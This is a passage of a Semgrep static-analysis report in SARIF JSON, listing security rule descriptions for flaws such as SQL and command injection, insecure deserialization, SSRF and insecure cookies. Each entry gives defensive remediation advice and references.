Insufficiently Protected Credentials","MEDIUM CONFIDENCE","OWASP-A02:2017 - Broken Authentication","OWASP-A04:2021 - Insecure Design","security"]},"shortDescription":{"text":"Semgrep Finding: javascript.express.security.audit.express-cookie-settings.express-cookie-session-no-expires"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Found user controlled content in `run_in_subinterp`. This is dangerous because it allows a malicious actor to run arbitrary Python code."},"help":{"markdown":"Found user controlled content in `run_in_subinterp`. This is dangerous because it allows a malicious actor to run arbitrary Python code.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.lang.security.dangerous-testcapi-run-in-subinterp.dangerous-testcapi-run-in-subinterp)\n - [https://semgrep.dev/docs/cheat-sheets/python-command-injection/](https://semgrep.dev/docs/cheat-sheets/python-command-injection/)\n","text":"Found user controlled content in `run_in_subinterp`. This is dangerous because it allows a malicious actor to run arbitrary Python code."},"helpUri":"https://semgrep.dev/r/python.lang.security.dangerous-testcapi-run-in-subinterp.dangerous-testcapi-run-in-subinterp","id":"python.lang.security.dangerous-testcapi-run-in-subinterp.dangerous-testcapi-run-in-subinterp","name":"python.lang.security.dangerous-testcapi-run-in-subinterp.dangerous-testcapi-run-in-subinterp","properties":{"precision":"very-high","tags":["CWE-95: Improper Neutralization of Directives in Dynamically Evaluated Code ('Eval Injection')","MEDIUM CONFIDENCE","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: python.lang.security.dangerous-testcapi-run-in-subinterp.dangerous-testcapi-run-in-subinterp"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"User data flows into this manually-constructed SQL string. User data can be safely inserted into SQL strings using prepared statements or an object-relational mapper (ORM). Manually-constructed SQL strings is a possible indicator of SQL injection, which could let an attacker steal or manipulate data from the database. Instead, use prepared statements (`db.Query(\"SELECT * FROM t WHERE id = ?\", id)`) or a safe library."},"help":{"markdown":"User data flows into this manually-constructed SQL string. User data can be safely inserted into SQL strings using prepared statements or an object-relational mapper (ORM). Manually-constructed SQL strings is a possible indicator of SQL injection, which could let an attacker steal or manipulate data from the database. Instead, use prepared statements (`db.Query(\"SELECT * FROM t WHERE id = ?\", id)`) or a safe library.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/go.lang.security.injection.tainted-sql-string.tainted-sql-string)\n - [https://golang.org/doc/database/sql-injection](https://golang.org/doc/database/sql-injection)\n - [https://www.stackhawk.com/blog/golang-sql-injection-guide-examples-and-prevention/](https://www.stackhawk.com/blog/golang-sql-injection-guide-examples-and-prevention/)\n","text":"User data flows into this manually-constructed SQL string. User data can be safely inserted into SQL strings using prepared statements or an object-relational mapper (ORM). Manually-constructed SQL strings is a possible indicator of SQL injection, which could let an attacker steal or manipulate data from the database. Instead, use prepared statements (`db.Query(\"SELECT * FROM t WHERE id = ?\", id)`) or a safe library."},"helpUri":"https://semgrep.dev/r/go.lang.security.injection.tainted-sql-string.tainted-sql-string","id":"go.lang.security.injection.tainted-sql-string.tainted-sql-string","name":"go.lang.security.injection.tainted-sql-string.tainted-sql-string","properties":{"precision":"very-high","tags":["CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')","HIGH CONFIDENCE","OWASP-A01:2017 - Injection","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: go.lang.security.injection.tainted-sql-string.tainted-sql-string"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"The application may convert user-controlled data into an object, which can lead to an insecure deserialization vulnerability. An attacker can create a malicious serialized object, pass it to the application, and take advantage of the deserialization process to perform Denial-of-service (DoS), Remote code execution (RCE), or bypass access control measures. To prevent this vulnerability, leverage data formats such as JSON or XML as safer alternatives. If you need to deserialize user input in a specific format, consider digitally signing the data before serialization to prevent tampering. For more information, see: [Deserialization prevention](https://cheatsheetseries.owasp.org/cheatsheets/Deserialization_Cheat_Sheet.html) We do not recommend deserializing untrusted data with the `XStream` unless you explicitly define permissions for types that are allowed to be deserialized by `XStream`."},"help":{"markdown":"The application may convert user-controlled data into an object, which can lead to an insecure deserialization vulnerability. An attacker can create a malicious serialized object, pass it to the application, and take advantage of the deserialization process to perform Denial-of-service (DoS), Remote code execution (RCE), or bypass access control measures. To prevent this vulnerability, leverage data formats such as JSON or XML as safer alternatives. If you need to deserialize user input in a specific format, consider digitally signing the data before serialization to prevent tampering. For more information, see: [Deserialization prevention](https://cheatsheetseries.owasp.org/cheatsheets/Deserialization_Cheat_Sheet.html) We do not recommend deserializing untrusted data with the `XStream` unless you explicitly define permissions for types that are allowed to be deserialized by `XStream`.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/java.spring.security.xstream-anytype-deserialization-deepsemgrep.xstream-anytype-deserialization-deepsemgrep)\n - [https://owasp.org/Top10/A08_2021-Software_and_Data_Integrity_Failures](https://owasp.org/Top10/A08_2021-Software_and_Data_Integrity_Failures)\n - [https://x-stream.github.io/security.html](https://x-stream.github.io/security.html)\n","text":"The application may convert user-controlled data into an object, which can lead to an insecure deserialization vulnerability. An attacker can create a malicious serialized object, pass it to the application, and take advantage of the deserialization process to perform Denial-of-service (DoS), Remote code execution (RCE), or bypass access control measures. To prevent this vulnerability, leverage data formats such as JSON or XML as safer alternatives. If you need to deserialize user input in a specific format, consider digitally signing the data before serialization to prevent tampering. For more information, see: [Deserialization prevention](https://cheatsheetseries.owasp.org/cheatsheets/Deserialization_Cheat_Sheet.html) We do not recommend deserializing untrusted data with the `XStream` unless you explicitly define permissions for types that are allowed to be deserialized by `XStream`."},"helpUri":"https://semgrep.dev/r/java.spring.security.xstream-anytype-deserialization-deepsemgrep.xstream-anytype-deserialization-deepsemgrep","id":"java.spring.security.xstream-anytype-deserialization-deepsemgrep.xstream-anytype-deserialization-deepsemgrep","name":"java.spring.security.xstream-anytype-deserialization-deepsemgrep.xstream-anytype-deserialization-deepsemgrep","properties":{"precision":"very-high","tags":["CWE-502: Deserialization of Untrusted Data","MEDIUM CONFIDENCE","OWASP-A08:2017 - Insecure Deserialization","OWASP-A08:2021 - Software and Data Integrity Failures","security"]},"shortDescription":{"text":"Semgrep Finding: java.spring.security.xstream-anytype-deserialization-deepsemgrep.xstream-anytype-deserialization-deepsemgrep"}},{"defaultConfiguration":{"level":"note"},"fullDescription":{"text":"Detected a cookie where the `Secure` flag is either missing or disabled. The `Secure` cookie flag instructs the browser to forbid sending the cookie over an insecure HTTP request. Set the `Secure` flag to `true` so the cookie will only be sent over HTTPS. If this wasn't intentional, it's recommended to set the Secure flag to true so the cookie will always be sent over HTTPS. A secure default approach would consist of creating a custom response class, overriding the `set_cookie` method to set this flag to `True` by default, setting the `response_class` attribute of your Flask app to use the custom response class, setting the flag to False on a case-by-case basis only when necessary."},"help":{"markdown":"Detected a cookie where the `Secure` flag is either missing or disabled. The `Secure` cookie flag instructs the browser to forbid sending the cookie over an insecure HTTP request. Set the `Secure` flag to `true` so the cookie will only be sent over HTTPS. If this wasn't intentional, it's recommended to set the Secure flag to true so the cookie will always be sent over HTTPS. A secure default approach would consist of creating a custom response class, overriding the `set_cookie` method to set this flag to `True` by default, setting the `response_class` attribute of your Flask app to use the custom response class, setting the flag to False on a case-by-case basis only when necessary.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.flask.web.flask-cookie-secure-missing.flask-cookie-secure-missing)\n - [https://owasp.org/Top10/A05_2021-Security_Misconfiguration](https://owasp.org/Top10/A05_2021-Security_Misconfiguration)\n","text":"Detected a cookie where the `Secure` flag is either missing or disabled. The `Secure` cookie flag instructs the browser to forbid sending the cookie over an insecure HTTP request. Set the `Secure` flag to `true` so the cookie will only be sent over HTTPS. If this wasn't intentional, it's recommended to set the Secure flag to true so the cookie will always be sent over HTTPS. A secure default approach would consist of creating a custom response class, overriding the `set_cookie` method to set this flag to `True` by default, setting the `response_class` attribute of your Flask app to use the custom response class, setting the flag to False on a case-by-case basis only when necessary."},"helpUri":"https://semgrep.dev/r/python.flask.web.flask-cookie-secure-missing.flask-cookie-secure-missing","id":"python.flask.web.flask-cookie-secure-missing.flask-cookie-secure-missing","name":"python.flask.web.flask-cookie-secure-missing.flask-cookie-secure-missing","properties":{"precision":"very-high","tags":["CWE-614: Sensitive Cookie in HTTPS Session Without 'Secure' Attribute","HIGH CONFIDENCE","OWASP-A05:2021 - Security Misconfiguration","security"]},"shortDescription":{"text":"Semgrep Finding: python.flask.web.flask-cookie-secure-missing.flask-cookie-secure-missing"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Detected 'create_subprocess_exec' function with argument tainted by `event` object. If this data can be controlled by a malicious actor, it may be an instance of command injection. Audit the use of this call to ensure it is not controllable by an external resource. You may consider using 'shlex.escape()'."},"help":{"markdown":"Detected 'create_subprocess_exec' function with argument tainted by `event` object. If this data can be controlled by a malicious actor, it may be an instance of command injection. Audit the use of this call to ensure it is not controllable by an external resource. You may consider using 'shlex.escape()'.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.aws-lambda.security.dangerous-asyncio-create-exec.dangerous-asyncio-create-exec)\n - [https://docs.python.org/3/library/asyncio-subprocess.html#asyncio.create_subprocess_exec](https://docs.python.org/3/library/asyncio-subprocess.html#asyncio.create_subprocess_exec)\n - [https://docs.python.org/3/library/shlex.html](https://docs.python.org/3/library/shlex.html)\n","text":"Detected 'create_subprocess_exec' function with argument tainted by `event` object. If this data can be controlled by a malicious actor, it may be an instance of command injection. Audit the use of this call to ensure it is not controllable by an external resource. You may consider using 'shlex.escape()'."},"helpUri":"https://semgrep.dev/r/python.aws-lambda.security.dangerous-asyncio-create-exec.dangerous-asyncio-create-exec","id":"python.aws-lambda.security.dangerous-asyncio-create-exec.dangerous-asyncio-create-exec","name":"python.aws-lambda.security.dangerous-asyncio-create-exec.dangerous-asyncio-create-exec","properties":{"precision":"very-high","tags":["CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')","MEDIUM CONFIDENCE","OWASP-A01:2017 - Injection","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: python.aws-lambda.security.dangerous-asyncio-create-exec.dangerous-asyncio-create-exec"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Untrusted input might be injected into a command executed by the application, which can lead to a command injection vulnerability. An attacker can execute arbitrary commands, potentially gaining complete control of the system. To prevent this vulnerability, avoid executing OS commands with user input. If this is unavoidable, validate and sanitize the input, and use safe methods for executing the commands."},"help":{"markdown":"Untrusted input might be injected into a command executed by the application, which can lead to a command injection vulnerability. An attacker can execute arbitrary commands, potentially gaining complete control of the system. To prevent this vulnerability, avoid executing OS commands with user input. If this is unavoidable, validate and sanitize the input, and use safe methods for executing the commands.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/csharp.dotnet-core.command-injection.process-taint-grpc.process-taint-grpc)\n - [https://owasp.org/Top10/A03_2021-Injection](https://owasp.org/Top10/A03_2021-Injection)\n","text":"Untrusted input might be injected into a command executed by the application, which can lead to a command injection vulnerability. An attacker can execute arbitrary commands, potentially gaining complete control of the system. To prevent this vulnerability, avoid executing OS commands with user input. If this is unavoidable, validate and sanitize the input, and use safe methods for executing the commands."},"helpUri":"https://semgrep.dev/r/csharp.dotnet-core.command-injection.process-taint-grpc.process-taint-grpc","id":"csharp.dotnet-core.command-injection.process-taint-grpc.process-taint-grpc","name":"csharp.dotnet-core.command-injection.process-taint-grpc.process-taint-grpc","properties":{"precision":"very-high","tags":["CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')","HIGH CONFIDENCE","OWASP-A01:2017 - Injection","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: csharp.dotnet-core.command-injection.process-taint-grpc.process-taint-grpc"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Untrusted input might be used to build an HTTP request, which can lead to a Server-side request forgery (SSRF) vulnerability. SSRF allows an attacker to send crafted requests from the server side to other internal or external systems. SSRF can lead to unauthorized access to sensitive data and, in some cases, allow the attacker to control applications or systems that trust the vulnerable service. To prevent this vulnerability, avoid allowing user input to craft the base request. Instead, treat it as part of the path or query parameter and encode it appropriately. When user input is necessary to prepare the HTTP request, perform strict input validation. Additionally, whenever possible, use allowlists to only interact with expected, trusted domains."},"help":{"markdown":"Untrusted input might be used to build an HTTP request, which can lead to a Server-side request forgery (SSRF) vulnerability. SSRF allows an attacker to send crafted requests from the server side to other internal or external systems. SSRF can lead to unauthorized access to sensitive data and, in some cases, allow the attacker to control applications or systems that trust the vulnerable service. To prevent this vulnerability, avoid allowing user input to craft the base request. Instead, treat it as part of the path or query parameter and encode it appropriately. When user input is necessary to prepare the HTTP request, perform strict input validation. Additionally, whenever possible, use allowlists to only interact with expected, trusted domains.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.django.net.tainted-django-http-request-pycurl.tainted-django-http-request-pycurl)\n - [https://owasp.org/Top10/A10_2021-Server-Side_Request_Forgery_%28SSRF%29](https://owasp.org/Top10/A10_2021-Server-Side_Request_Forgery_%28SSRF%29)\n","text":"Untrusted input might be used to build an HTTP request, which can lead to a Server-side request forgery (SSRF) vulnerability. SSRF allows an attacker to send crafted requests from the server side to other internal or external systems. SSRF can lead to unauthorized access to sensitive data and, in some cases, allow the attacker to control applications or systems that trust the vulnerable service. To prevent this vulnerability, avoid allowing user input to craft the base request. Instead, treat it as part of the path or query parameter and encode it appropriately. When user input is necessary to prepare the HTTP request, perform strict input validation. Additionally, whenever possible, use allowlists to only interact with expected, trusted domains."},"helpUri":"https://semgrep.dev/r/python.django.net.tainted-django-http-request-pycurl.tainted-django-http-request-pycurl","id":"python.django.net.tainted-django-http-request-pycurl.tainted-django-http-request-pycurl","name":"python.django.net.tainted-django-http-request-pycurl.tainted-django-http-request-pycurl","properties":{"precision":"very-high","tags":["CWE-918: Server-Side Request Forgery (SSRF)","MEDIUM CONFIDENCE","OWASP-A10:2021 - Server-Side Request Forgery (SSRF)","security"]},"shortDescription":{"text":"Semgrep Finding: python.django.net.tainted-django-http-request-pycurl.tainted-django-http-request-pycurl"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Untrusted input might be used to build a database query, which can lead to a SQL injection vulnerability. An attacker can execute malicious SQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. To prevent this vulnerability, use prepared statements that do not concatenate user-controllable strings and use parameterized queries where SQL commands and user data are strictly separated. Also, consider using an object-relational (ORM) framework to operate with safer abstractions. To build SQL queries safely in PHP, it is possible to adopt prepared statements by using `PDO` with bind variables using `bindParam()`."},"help":{"markdown":"Untrusted input might be used to build a database query, which can lead to a SQL injection vulnerability. An attacker can execute malicious SQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. To prevent this vulnerability, use prepared statements that do not concatenate user-controllable strings and use parameterized queries where SQL commands and user data are strictly separated. Also, consider using an object-relational (ORM) framework to operate with safer abstractions. To build SQL queries safely in PHP, it is possible to adopt prepared statements by using `PDO` with bind variables using `bindParam()`.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/php.laravel.security.laravel-raw-sql-injection.laravel-raw-sql-injection)\n - [https://laravel.com/docs/9.x/queries](https://laravel.com/docs/9.x/queries)\n","text":"Untrusted input might be used to build a database query, which can lead to a SQL injection vulnerability. An attacker can execute malicious SQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. To prevent this vulnerability, use prepared statements that do not concatenate user-controllable strings and use parameterized queries where SQL commands and user data are strictly separated. Also, consider using an object-relational (ORM) framework to operate with safer abstractions. To build SQL queries safely in PHP, it is possible to adopt prepared statements by using `PDO` with bind variables using `bindParam()`."},"helpUri":"https://semgrep.dev/r/php.laravel.security.laravel-raw-sql-injection.laravel-raw-sql-injection","id":"php.laravel.security.laravel-raw-sql-injection.laravel-raw-sql-injection","name":"php.laravel.security.laravel-raw-sql-injection.laravel-raw-sql-injection","properties":{"precision":"very-high","tags":["CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')","MEDIUM CONFIDENCE","OWASP-A01:2017 - Injection","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: php.laravel.security.laravel-raw-sql-injection.laravel-raw-sql-injection"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"The application may convert user-controlled data into an object, which can lead to an insecure deserialization vulnerability. An attacker can create a malicious serialized object, pass it to the application, and take advantage of the deserialization process to perform Denial-of-service (DoS), Remote code execution (RCE), or bypass access control measures. To prevent this vulnerability, leverage data formats such as JSON or XML as safer alternatives. If you need to deserialize user input in a specific format, consider digitally signing the data before serialization to prevent tampering. For more information, see: [Deserialization prevention](https://cheatsheetseries.owasp.org/cheatsheets/Deserialization_Cheat_Sheet.html) We do not recommend deserializing untrusted data with the `ObjectInputStream`. If you must, you can try overriding the `ObjectInputStream#resolveClass()` method or using a safe replacement for the generic `readObject()` method."},"help":{"markdown":"The application may convert user-controlled data into an object, which can lead to an insecure deserialization vulnerability. An attacker can create a malicious serialized object, pass it to the application, and take advantage of the deserialization process to perform Denial-of-service (DoS), Remote code execution (RCE), or bypass access control measures. To prevent this vulnerability, leverage data formats such as JSON or XML as safer alternatives. If you need to deserialize user input in a specific format, consider digitally signing the data before serialization to prevent tampering. For more information, see: [Deserialization prevention](https://cheatsheetseries.owasp.org/cheatsheets/Deserialization_Cheat_Sheet.html) We do not recommend deserializing untrusted data with the `ObjectInputStream`. If you must, you can try overriding the `ObjectInputStream#resolveClass()` method or using a safe replacement for the generic `readObject()` method.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/java.servlets.security.objectinputstream-deserialization-servlets.objectinputstream-deserialization-servlets)\n - [https://owasp.org/Top10/A08_2021-Software_and_Data_Integrity_Failures](https://owasp.org/Top10/A08_2021-Software_and_Data_Integrity_Failures)\n","text":"The application may convert user-controlled data into an object, which can lead to an insecure deserialization vulnerability. An attacker can create a malicious serialized object, pass it to the application, and take advantage of the deserialization process to perform Denial-of-service (DoS), Remote code execution (RCE), or bypass access control measures. To prevent this vulnerability, leverage data formats such as JSON or XML as safer alternatives. If you need to deserialize user input in a specific format, consider digitally signing the data before serialization to prevent tampering. For more information, see: [Deserialization prevention](https://cheatsheetseries.owasp.org/cheatsheets/Deserialization_Cheat_Sheet.html) We do not recommend deserializing untrusted data with the `ObjectInputStream`. If you must, you can try overriding the `ObjectInputStream#resolveClass()` method or using a safe replacement for the generic `readObject()` method."},"helpUri":"https://semgrep.dev/r/java.servlets.security.objectinputstream-deserialization-servlets.objectinputstream-deserialization-servlets","id":"java.servlets.security.objectinputstream-deserialization-servlets.objectinputstream-deserialization-servlets","name":"java.servlets.security.objectinputstream-deserialization-servlets.objectinputstream-deserialization-servlets","properties":{"precision":"very-high","tags":["CWE-502: Deserialization of Untrusted Data","HIGH CONFIDENCE","OWASP-A08:2017 - Insecure Deserialization","OWASP-A08:2021 - Software and Data Integrity Failures","security"]},"shortDescription":{"text":"Semgrep Finding: java.servlets.security.objectinputstream-deserialization-servlets.objectinputstream-deserialization-servlets"}},{"defaultConfiguration":{"level":"note"},"fullDescription":{"text":"Visualforce Pages must have the cspHeader attribute set to true. This attribute is available in API version 55 or higher."},"help":{"markdown":"Visualforce Pages must have the cspHeader attribute set to true. This attribute is available in API version 55 or higher.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/generic.visualforce.security.ncino.xml.cspheaderattribute.csp-header-attribute)\n - [https://help.salesforce.com/s/articleView?id=sf.csp_trusted_sites.htm&type=5](https://help.salesforce.com/s/articleView?id=sf.csp_trusted_sites.htm&type=5)\n","text":"Visualforce Pages must have the cspHeader attribute set to true. This attribute is available in API version 55 or higher."},"helpUri":"https://semgrep.dev/r/generic.visualforce.security.ncino.xml.cspheaderattribute.csp-header-attribute","id":"generic.visualforce.security.ncino.xml.cspheaderattribute.csp-header-attribute","name":"generic.visualforce.security.ncino.xml.cspheaderattribute.csp-header-attribute","properties":{"precision":"very-high","tags":["CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')","HIGH CONFIDENCE","OWASP-A03:2021 - Injection","OWASP-A07:2017 - Cross-Site Scripting (XSS)","security"]},"shortDescription":{"text":"Semgrep Finding: generic.visualforce.security.ncino.xml.cspheaderattribute.csp-header-attribute"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Untrusted input might be used to build a database query, which can lead to a SQL injection vulnerability. An attacker can execute malicious SQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. To prevent this vulnerability, use prepared statements that do not concatenate user-controllable strings and use parameterized queries where SQL commands and user data are strictly separated. Also, consider using an object-relational (ORM) framework to operate with safer abstractions. To build SQL queries safely in PHP, it is possible to adopt prepared statements by using `PDO` with bind variables using `bindParam()`."},"help":{"markdown":"Untrusted input might be used to build a database query, which can lead to a SQL injection vulnerability. An attacker can execute malicious SQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. To prevent this vulnerability, use prepared statements that do not concatenate user-controllable strings and use parameterized queries where SQL commands and user data are strictly separated. Also, consider using an object-relational (ORM) framework to operate with safer abstractions. To build SQL queries safely in PHP, it is possible to adopt prepared statements by using `PDO` with bind variables using `bindParam()`.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/php.laravel.security.laravel-column-sql-injection.laravel-column-sql-injection)\n - [https://laravel.com/docs/9.x/queries](https://laravel.com/docs/9.x/queries)\n - [https://laravel.com/api/6.x/Illuminate/Database/Query/Builder.html](https://laravel.com/api/6.x/Illuminate/Database/Query/Builder.html)\n - [https://github.com/OWASP/CheatSheetSeries/blob/master/cheatsheets/Laravel_Cheat_Sheet.md#column-name-sql-injection](https://github.com/OWASP/CheatSheetSeries/blob/master/cheatsheets/Laravel_Cheat_Sheet.md#column-name-sql-injection)\n","text":"Untrusted input might be used to build a database query, which can lead to a SQL injection vulnerability. An attacker can execute malicious SQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. To prevent this vulnerability, use prepared statements that do not concatenate user-controllable strings and use parameterized queries where SQL commands and user data are strictly separated. Also, consider using an object-relational (ORM) framework to operate with safer abstractions. To build SQL queries safely in PHP, it is possible to adopt prepared statements by using `PDO` with bind variables using `bindParam()`."},"helpUri":"https://semgrep.dev/r/php.laravel.security.laravel-column-sql-injection.laravel-column-sql-injection","id":"php.laravel.security.laravel-column-sql-injection.laravel-column-sql-injection","name":"php.laravel.security.laravel-column-sql-injection.laravel-column-sql-injection","properties":{"precision":"very-high","tags":["CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')","MEDIUM CONFIDENCE","OWASP-A01:2017 - Injection","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: php.laravel.security.laravel-column-sql-injection.laravel-column-sql-injection"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Use of $window.location.href can lead to open-redirect if user input is used for redirection."},"help":{"markdown":"Use of $window.location.href can lead to open-redirect if user input is used for redirection.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/javascript.angular.security.detect-angular-open-redirect.detect-angular-open-redirect)\n - [https://docs.angularjs.org/api/ng/service/$sce#trustAsJs](https://docs.angularjs.org/api/ng/service/$sce#trustAsJs)\n - [https://owasp.org/www-chapter-london/assets/slides/OWASPLondon20170727_AngularJS.pdf](https://owasp.org/www-chapter-london/assets/slides/OWASPLondon20170727_AngularJS.pdf)\n","text":"Use of $window.location.href can lead to open-redirect if user input is used for redirection."},"helpUri":"https://semgrep.dev/r/javascript.angular.security.detect-angular-open-redirect.detect-angular-open-redirect","id":"javascript.angular.security.detect-angular-open-redirect.detect-angular-open-redirect","name":"javascript.angular.security.detect-angular-open-redirect.detect-angular-open-redirect","properties":{"precision":"very-high","tags":["CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')","LOW CONFIDENCE","OWASP-A03:2021 - Injection","OWASP-A07:2017 - Cross-Site Scripting (XSS)","security"]},"shortDescription":{"text":"Semgrep Finding: javascript.angular.security.detect-angular-open-redirect.detect-angular-open-redirect"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"The application may convert user-controlled data into an object, which can lead to an insecure deserialization vulnerability. An attacker can create a malicious serialized object, pass it to the application, and take advantage of the deserialization process to perform Denial-of-service (DoS), Remote code execution (RCE), or bypass access control measures. To prevent this vulnerability, leverage data formats such as JSON or XML as safer alternatives. If you need to deserialize user input in a specific format, consider digitally signing the data before serialization to prevent tampering. For more information, see: [Deserialization prevention](https://cheatsheetseries.owasp.org/cheatsheets/Deserialization_Cheat_Sheet.html) The `shelve` module uses `pickle` and should not be used with data from untrusted sources."},"help":{"markdown":"The application may convert user-controlled data into an object, which can lead to an insecure deserialization vulnerability. An attacker can create a malicious serialized object, pass it to the application, and take advantage of the deserialization process to perform Denial-of-service (DoS), Remote code execution (RCE), or bypass access control measures. To prevent this vulnerability, leverage data formats such as JSON or XML as safer alternatives. If you need to deserialize user input in a specific format, consider digitally signing the data before serialization to prevent tampering. For more information, see: [Deserialization prevention](https://cheatsheetseries.owasp.org/cheatsheets/Deserialization_Cheat_Sheet.html) The `shelve` module uses `pickle` and should not be used with data from untrusted sources.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.pyramid.deserialization.tainted-shelve-pyramid.tainted-shelve-pyramid)\n - [https://portswigger.net/web-security/deserialization](https://portswigger.net/web-security/deserialization)\n - [https://docs.python.org/3/library/shelve.html](https://docs.python.org/3/library/shelve.html)\n - [https://docs.python.org/3/library/pickle.html](https://docs.python.org/3/library/pickle.html)\n - [https://davidhamann.de/2020/04/05/exploiting-python-pickle/](https://davidhamann.de/2020/04/05/exploiting-python-pickle/)\n","text":"The application may convert user-controlled data into an object, which can lead to an insecure deserialization vulnerability. An attacker can create a malicious serialized object, pass it to the application, and take advantage of the deserialization process to perform Denial-of-service (DoS), Remote code execution (RCE), or bypass access control measures. To prevent this vulnerability, leverage data formats such as JSON or XML as safer alternatives. If you need to deserialize user input in a specific format, consider digitally signing the data before serialization to prevent tampering. For more information, see: [Deserialization prevention](https://cheatsheetseries.owasp.org/cheatsheets/Deserialization_Cheat_Sheet.html) The `shelve` module uses `pickle` and should not be used with data from untrusted sources."},"helpUri":"https://semgrep.dev/r/python.pyramid.deserialization.tainted-shelve-pyramid.tainted-shelve-pyramid","id":"python.pyramid.deserialization.tainted-shelve-pyramid.tainted-shelve-pyramid","name":"python.pyramid.deserialization.tainted-shelve-pyramid.tainted-shelve-pyramid","properties":{"precision":"very-high","tags":["CWE-502: Deserialization of Untrusted Data","HIGH CONFIDENCE","OWASP-A08:2017 - Insecure Deserialization","OWASP-A08:2021 - Software and Data Integrity Failures","security"]},"shortDescription":{"text":"Semgrep Finding: python.pyramid.deserialization.tainted-shelve-pyramid.tainted-shelve-pyramid"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Detected user input used to manually construct a SQL string. This is usually bad practice because manual construction could accidentally result in a SQL injection. An attacker could use a SQL injection to steal or modify contents of the database. Instead, use a parameterized query which is available by default in most database engines. Alternatively, consider using an object-relational mapper (ORM) such as Sequelize which will protect your queries."},"help":{"markdown":"Detected user input used to manually construct a SQL string. This is usually bad practice because manual construction could accidentally result in a SQL injection. An attacker could use a SQL injection to steal or modify contents of the database. Instead, use a parameterized query which is available by default in most database engines. Alternatively, consider using an object-relational mapper (ORM) such as Sequelize which will protect your queries.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/javascript.aws-lambda.security.tainted-sql-string.tainted-sql-string)\n - [https://owasp.org/www-community/attacks/SQL_Injection](https://owasp.org/www-community/attacks/SQL_Injection)\n","text":"Detected user input used to manually construct a SQL string. This is usually bad practice because manual construction could accidentally result in a SQL injection. An attacker could use a SQL injection to steal or modify contents of the database. Instead, use a parameterized query which is available by default in most database engines. Alternatively, consider using an object-relational mapper (ORM) such as Sequelize which will protect your queries."},"helpUri":"https://semgrep.dev/r/javascript.aws-lambda.security.tainted-sql-string.tainted-sql-string","id":"javascript.aws-lambda.security.tainted-sql-string.tainted-sql-string","name":"javascript.aws-lambda.security.tainted-sql-string.tainted-sql-string","properties":{"precision":"very-high","tags":["CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')","MEDIUM CONFIDENCE","OWASP-A01:2017 - Injection","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: javascript.aws-lambda.security.tainted-sql-string.tainted-sql-string"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"The application processes user-input, this is passed to res.sendFile which can allow an attacker to arbitrarily read files on the system through path traversal. It is recommended to perform input validation in addition to canonicalizing the path. This allows you to validate the path against the intended directory it should be accessing."},"help":{"markdown":"The application processes user-input, this is passed to res.sendFile which can allow an attacker to arbitrarily read files on the system through path traversal. It is recommended to perform input validation in addition to canonicalizing the path. This allows you to validate the path against the intended directory it should be accessing.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/javascript.express.security.audit.express-res-sendfile.express-res-sendfile)\n - [https://cheatsheetseries.owasp.org/cheatsheets/Input_Validation_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/Input_Validation_Cheat_Sheet.html)\n","text":"The application processes user-input, this is passed to res.sendFile which can allow an attacker to arbitrarily read files on the system through path traversal. It is recommended to perform input validation in addition to canonicalizing the path. This allows you to validate the path against the intended directory it should be 